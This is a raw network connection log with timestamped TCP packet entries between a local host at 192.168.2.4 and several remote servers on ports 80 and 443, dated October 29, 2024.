Oct 29, 2024 04:52:12.216715097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.216723919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.216743946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.216772079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.217511892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.217524052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.217533112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.217541933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.217552900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.217561007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.217566013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.217576027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.217607021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.217634916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:14.606137991 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:14.606156111 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:14.606216908 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:14.606420040 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:14.606434107 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:14.913911104 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:14.913940907 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:14.914028883 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:14.914283037 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:14.914299011 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:14.993062019 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:14.993088007 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:14.993153095 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:14.993406057 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:14.993421078 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.091514111 CET	49739	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.091542959 CET	443	49739	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.091685057 CET	49739	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.092065096 CET	49739	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.092078924 CET	443	49739	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.458935976 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.459606886 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.459620953 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.460573912 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.460638046 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.462678909 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.462739944 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.462850094 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.507330894 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.515923023 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.515930891 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.564131975 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.696322918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:15.697259903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:15.729382038 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.729521036 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.729587078 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.729598999 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.729665041 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.729826927 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.729877949 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.729883909 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.729921103 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.734631062 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.780544996 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.780556917 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.827389002 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.856357098 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.856477022 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.856529951 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.896066904 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.897455931 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.897469044 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.898310900 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.898375034 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.903563023 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.903616905 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.904346943 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.904360056 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.910706043 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.920612097 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.920624971 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.922183990 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.922249079 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.935091972 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.935189962 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.935374022 CET	49736	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.935389042 CET	443	49736	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.936034918 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.936042070 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.951565027 CET	443	49739	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.951834917 CET	49739	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.951843023 CET	443	49739	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.952425003 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.953274012 CET	443	49739	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.953356028 CET	49739	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.953638077 CET	49739	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.953718901 CET	443	49739	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:15.983653069 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.999262094 CET	49739	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:15.999269009 CET	443	49739	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.046133041 CET	49739	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.182221889 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.182343960 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.182409048 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.182416916 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.182499886 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.182555914 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.182564974 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.182733059 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.182784081 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.182787895 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.191576958 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.191637993 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.191643000 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.208092928 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.233630896 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.233635902 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.249278069 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.249300003 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.252356052 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.252405882 CET	443	49737	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.252454042 CET	49737	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.280514956 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.297516108 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.297821999 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.297889948 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.297895908 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.301879883 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.305505037 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.305510044 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.305919886 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.305978060 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.305983067 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.314554930 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.314636946 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.314641953 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.323308945 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.323395967 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.323401928 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.332487106 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.332539082 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.332542896 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.340965033 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.341029882 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.341034889 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.349071980 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.349116087 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.349121094 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.357350111 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.357399940 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.357404947 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.406024933 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.406029940 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.412972927 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.413027048 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.413032055 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.413336039 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.413520098 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.413582087 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.413587093 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.413652897 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.413656950 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.416723013 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.416790962 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.416795015 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.420815945 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.420892954 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.420897007 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.424560070 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.424623013 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.424631119 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.430723906 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.430912018 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.430919886 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.438571930 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.438627958 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.438637972 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.448846102 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.449006081 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.449014902 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.456163883 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.456270933 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.456279039 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.467411995 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.467489958 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.467499018 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.479228973 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.479299068 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.479307890 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.528244019 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.528321981 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.528327942 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.528353930 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.528408051 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.528449059 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.528898954 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.528968096 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.528990984 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.528997898 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.529046059 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.529195070 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.532099962 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.532176971 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.532228947 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.532233953 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.532295942 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.536113977 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.537244081 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.537296057 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.537300110 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.545192957 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.545253992 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.545258999 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.553734064 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.553788900 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.553793907 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.562812090 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.562868118 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.562875032 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.571268082 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.571398020 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.571403027 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.579646111 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.579721928 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.579731941 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.588123083 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.588174105 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.588179111 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.595907927 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.595967054 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.595972061 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.640389919 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.643605947 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.643790007 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.643836975 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.643841028 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.643949986 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.644001961 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.644006014 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.644380093 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.644503117 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.644522905 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.644527912 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.644606113 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.647161007 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.647463083 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.647555113 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.647559881 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.652542114 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.652628899 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.652656078 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.652662039 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.652753115 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.655236959 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.669064999 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.669121027 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.669126034 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.669255972 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.669337034 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.669341087 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.669877052 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:16.669939041 CET	443	49738	172.217.16.196	192.168.2.4
Oct 29, 2024 04:52:16.670001030 CET	49738	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:17.105734110 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:17.105763912 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:17.105848074 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:17.110810995 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:17.110826015 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:17.977698088 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:17.977782011 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:17.982584000 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:17.982592106 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:17.982989073 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.031424999 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:18.171612978 CET	49747	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:18.171629906 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:18.172132969 CET	49747	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:18.173764944 CET	49747	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:18.173779011 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:18.705065966 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:18.747342110 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.866698980 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:18.866749048 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:18.866817951 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:18.867032051 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:18.867057085 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:18.986890078 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.986946106 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.986979961 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.987015009 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:18.987020016 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.987051010 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.987082958 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.987092972 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:18.987112045 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:18.987140894 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:18.987797976 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.987914085 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:18.987921953 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.987958908 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:18.988049984 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:19.260142088 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.260216951 CET	49747	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:19.263856888 CET	49747	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:19.263863087 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.264378071 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.307418108 CET	49747	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:19.351375103 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.469991922 CET	49723	80	192.168.2.4	93.184.221.240
Oct 29, 2024 04:52:19.475816965 CET	80	49723	93.184.221.240	192.168.2.4
Oct 29, 2024 04:52:19.475873947 CET	49723	80	192.168.2.4	93.184.221.240
Oct 29, 2024 04:52:19.551743984 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.551811934 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.551881075 CET	49747	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:19.552009106 CET	49747	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:19.552018881 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.552052975 CET	49747	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:19.552057981 CET	443	49747	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.598656893 CET	49754	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:19.598683119 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.598746061 CET	49754	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:19.599143028 CET	49754	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:19.599157095 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:19.750576019 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:19.750925064 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:19.750936031 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:19.752665997 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:19.752726078 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:19.762990952 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:19.763079882 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:19.763194084 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:19.807334900 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:19.812016010 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:19.812030077 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:19.855665922 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:19.855680943 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:19.855746984 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:19.855957031 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:19.855967999 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:19.858896017 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:19.860491037 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:19.860496998 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:19.860531092 CET	49744	443	192.168.2.4	20.12.23.50
Oct 29, 2024 04:52:19.860534906 CET	443	49744	20.12.23.50	192.168.2.4
Oct 29, 2024 04:52:20.015270948 CET	443	49750	216.58.206.46	192.168.2.4
